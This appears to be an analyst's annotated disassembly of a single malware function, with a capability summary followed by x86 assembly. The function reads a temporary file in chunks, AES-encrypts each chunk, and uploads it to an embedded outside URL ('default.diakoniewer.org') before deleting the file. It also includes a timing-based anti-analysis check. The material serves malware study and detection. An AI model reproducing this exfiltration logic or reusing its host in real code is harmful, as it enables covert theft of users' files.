Function at 0x402ea4
Capabilities:
Check for time delay via gettickcount
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Read file on windows
Terminate process

Disassembly:
push ebp
sub esp, 0x8dc
lea ebp, [esp - 4]
mov eax, dword [0x41d06c]
xor eax, ebp
mov dword [ebp + 0x8dc], eax
push 0xcc
mov eax, 0x417d43
call fcn.004139cb
xor ebx, ebx
mov dword [ebp - 4], ebx
push 8
pop ecx
mov esi, str._iTunes.aspx_e1
lea edi, [ebp + 0x61c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5e
push ebx
lea eax, [ebp + 0x63e]
push eax
call fcn.00404950
push 8
pop ecx
mov esi, str._paidai.aspx_e1
lea edi, [ebp + 0x69c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5e
push ebx
lea eax, [ebp + 0x6be]
push eax
call fcn.00404950
push 9
pop ecx
mov esi, str._shopmall.aspx_e1
lea edi, [ebp + 0x71c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5a
push ebx
lea eax, [ebp + 0x742]
push eax
call fcn.00404950
mov word [ebp + 0x1c], bx
push 0x3fe
push ebx
lea eax, [ebp + 0x1e]
push eax
call fcn.00404950
add esp, 0x30
lea eax, [ebp + 0x1c]
cmp byte [ebp + 0x8e8], bl
je 0x402f60
push 0x41f448
push str._sTempd2fme.tmp
jmp 0x402f6a
push 0x41f648
push 0x41a950
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
cmp dword [0x41f1c4], ebx
je 0x4035a2
mov word [ebp - 0xb8], 3
mov dword [ebp - 0xb0], 0xe
mov word [ebp - 0xc8], 8
mov dword [ebp - 0xc0], ebx
mov word [ebp - 0x98], 8
mov eax, dword [0x41fc88]
mov dword [ebp - 0x90], eax
mov word [ebp - 0xd8], 8
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov esi, 0x41fcb0
push 0x20800
push ebx
push esi
call fcn.00404950
add esp, 0xc
mov dword [ebp - 0x14], ebx
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
lea eax, [ebp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403015
push str.open_error_or_file_is_not_existed_
push 0x200
push esi
call fcn.00404cb7
add esp, 0xc
jmp 0x40306b
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x40], eax
push ebx
push ebx
mov eax, dword [ebp - 0x1c]
shl eax, 0x11
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x14]
push eax
push 0x20000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x403051
mov eax, dword [ebp - 0x14]
mov byte [eax + 0x41fcb0], bl
jmp 0x403064
push str.read_error_
push 0x200
push esi
call fcn.00404cb7
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x40]
je 0x403076
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov byte [ebp + 0x8cc], bl
xor eax, eax
lea edi, [ebp + 0x8cd]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp + 0x8bc], bl
xor eax, eax
lea edi, [ebp + 0x8bd]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 4
jge 0x4030dd
call fcn.00405957
xor edi, edi
mov dword [ebp - 0x60], edi
cmp edi, 4
jge 0x4030d8
push 3
pop ecx
sub ecx, edi
shl ecx, 3
mov edx, eax
sar edx, cl
mov ecx, dword [ebp - 0x24]
lea ecx, [edi + ecx*4]
mov byte [ebp + ecx + 0x8cc], dl
inc edi
jmp 0x4030b4
inc dword [ebp - 0x24]
jmp 0x4030a7
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 4
jge 0x403116
call fcn.00405957
xor edi, edi
mov dword [ebp - 0x64], edi
cmp edi, 4
jge 0x403111
push 3
pop ecx
sub ecx, edi
shl ecx, 3
mov edx, eax
sar edx, cl
mov ecx, dword [ebp - 0x28]
lea ecx, [edi + ecx*4]
mov byte [ebp + ecx + 0x8bc], dl
inc edi
jmp 0x4030ed
inc dword [ebp - 0x28]
jmp 0x4030e0
mov byte [ebp], 8
mov byte [ebp + 1], 2
mov word [ebp + 2], bx
mov dword [ebp + 4], 0x660e
push 0x10
pop edi
mov dword [ebp + 8], edi
xor eax, eax
mov dword [ebp - 0x84], eax
cmp eax, edi
jge 0x403149
mov cl, byte [ebp + eax + 0x8cc]
mov byte [ebp + eax + 0xc], cl
inc eax
jmp 0x403131
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
push 0xf0000000
push 0x18
push ebx
push ebx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4035a2
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push 0x1c
lea eax, [ebp]
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x4031ce
push ebx
lea eax, [ebp + 0x8bc]
push eax
push 1
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x4035a2
push 0x20800
lea eax, [ebp - 0x2c]
push eax
push esi
push ebx
push 1
push ebx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x4035a2
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
test eax, eax
je 0x4035a2
push 0x20800
push ebx
push 0x4404b0
call fcn.00404950
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x68], eax
cmp eax, 0x10
jge 0x4031fb
mov cl, byte [ebp + eax + 0x8cc]
mov byte [eax + 0x4404b0], cl
inc eax
jmp 0x4031e3
xor eax, eax
mov dword [ebp - 0x7c], eax
mov esi, dword [ebp - 0x2c]
cmp eax, esi
jge 0x403219
mov cl, byte [eax + 0x41fcb0]
mov byte [eax + 0x4404c0], cl
inc eax
mov dword [ebp - 0x7c], eax
jmp 0x403203
xor eax, eax
mov dword [ebp - 0x6c], eax
cmp eax, 0x10
jge 0x403234
mov cl, byte [ebp + eax + 0x8bc]
mov byte [eax + esi + 0x4404c0], cl
inc eax
jmp 0x40321b
mov esi, str.name
push esi
call fcn.004049ca
pop ecx
mov edx, eax
inc edx
mov byte [ebp + 0x89c], bl
push 7
pop ecx
xor eax, eax
lea edi, [ebp + 0x89d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
push ebx
lea eax, [edx + edx]
push eax
lea eax, [ebp + 0x89c]
push eax
push edx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor esi, esi
mov dword [ebp - 0x78], esi
mov edi, dword [ebp - 0x2c]
cmp esi, eax
jge 0x403290
mov cl, byte [ebp + esi + 0x89c]
mov byte [esi + edi + 0x4404d0], cl
inc esi
mov dword [ebp - 0x78], esi
jmp 0x403278
lea eax, [eax + edi + 0x1f]
push eax
mov esi, 0x460cb0
push esi
mov ecx, 0x4404b0
call fcn.0040103e
pop ecx
pop ecx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], ebx
lea eax, [ebp - 0x74]
push eax
push 1
push 0x11
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov esi, eax
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x74]
jge 0x4032e4
push dword [ebp - 0x4c]
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [ebp - 0x4c]
inc dword [ebp - 0x30]
jmp 0x4032c6
mov word [ebp - 0xa8], 0x2011
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x50], ebx
lea eax, [ebp - 0x50]
push eax
call fcn.00405281
pop ecx
test eax, eax
jne 0x40331a
push 0xa
push 0x1f
lea eax, [ebp + 0x89c]
push eax
push dword [ebp - 0x50]
call fcn.00405460
add esp, 0x10
mov word [ebp + 0x79c], bx
push 0x5e
push ebx
lea eax, [ebp + 0x79e]
push eax
call fcn.00404950
lea eax, [ebp + 0x79c]
push eax
lea edi, [ebp + 0x89c]
call fcn.004035e1
push 0x20
push ebx
mov eax, edi
push eax
call fcn.00404950
push 0xa
push 0x20
mov eax, edi
push eax
push dword [ebp - 0x2c]
call fcn.00405460
mov word [ebp + 0x85c], bx
push 0x3e
push ebx
lea eax, [ebp + 0x85e]
push eax
call fcn.00404950
lea eax, [ebp + 0x85c]
push eax
call fcn.004035e1
mov word [ebp + 0x7fc], bx
push 0x5e
push ebx
lea eax, [ebp + 0x7fe]
push eax
call fcn.00404950
add esp, 0x48
lea eax, [ebp + 0x7fc]
push eax
mov edi, 0x41fc8c
call fcn.004035e1
mov eax, dword [0x41e518]
inc eax
cdq
push 3
pop ecx
idiv ecx
mov edi, edx
mov dword [0x41e518], edi
mov word [ebp + 0x41c], bx
mov dword [esp], 0x1fe
push ebx
lea eax, [ebp + 0x41e]
push eax
call fcn.00404950
add esp, 0xc
lea eax, [ebp + 0x79c]
shl edi, 7
push eax
lea eax, [ebp + 0x85c]
push eax
lea eax, [ebp + 0x7fc]
push eax
lea eax, [ebp + edi + 0x61c]
push eax
push str.http:__default.diakoniewer.org_twit4ter
lea eax, [ebp + 0x41c]
cmp dword [ebp - 0x20], ebx
jle 0x403411
push str._s_s_sy_sc_s
jmp 0x403416
push str._s_s_sn_sc_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
lea eax, [ebp + 0x41c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [ebp - 0xd0], edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x48], ebx
cmp dword [ebp - 0x48], 0x3b9ac9f6
jae 0x403451
inc dword [ebp - 0x48]
jmp 0x403443
call esi
cmp dword [ebp - 0x20], eax
jne 0x40345e
push ebx
call fcn.00405704
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x98]
push edx
lea edx, [ebp - 0xa8]
push edx
lea edx, [ebp - 0xc8]
push edx
lea edx, [ebp - 0xb8]
push edx
lea edx, [ebp - 0xd8]
push edx
push eax
call dword [ecx + 0xd0]
push dword [ebp - 0x80]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
push edi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
mov dword [ebp - 0x44], ebx
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x88]
push edx
push eax
call dword [ecx + 0xe0]
cmp dword [ebp - 0x88], 4
je 0x4034d8
cmp dword [ebp - 0x44], 0x12
jg 0x4034d8
inc dword [ebp - 0x44]
jmp 0x4034a4
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], ebx
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push eax
call dword [ecx + 0x48]
cmp eax, ebx
jl 0x403599
mov eax, dword [ebp - 0x34]
cmp eax, ebx
je 0x403599
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
push 0x418288
push eax
call dword [ecx]
cmp eax, ebx
jl 0x403590
mov eax, dword [ebp - 0x38]
cmp eax, ebx
je 0x403590
mov ecx, dword [eax]
lea edx, [ebp - 0x54]
push edx
push eax
call dword [ecx + 0x24]
cmp eax, ebx
jl 0x403587
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax]
lea edx, [ebp - 0x58]
push edx
push eax
call dword [ecx + pe_nt_image_headers32]
test eax, eax
jl 0x403587
push dword [ebp - 0x58]
call fcn.004043e0
mov edi, eax
push dword [ebp - 0x58]
call esi
push str.__success__
push edi
call fcn.00405790
pop ecx
pop ecx
cmp eax, ebx
je 0x403573
cmp dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x40]
je 0x403566
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
cmp eax, ebx
jle 0x403573
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp edi, ebx
je 0x403587
push edi
call fcn.004058c9
pop ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp - 0x18], ebx
jg 0x402fc8
cmp byte [ebp + 0x8e8], bl
je 0x4035b4
lea eax, [ebp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x8dc]
xor ecx, ebp
call fcn.0040488f
add ebp, 0x8e0
leave
ret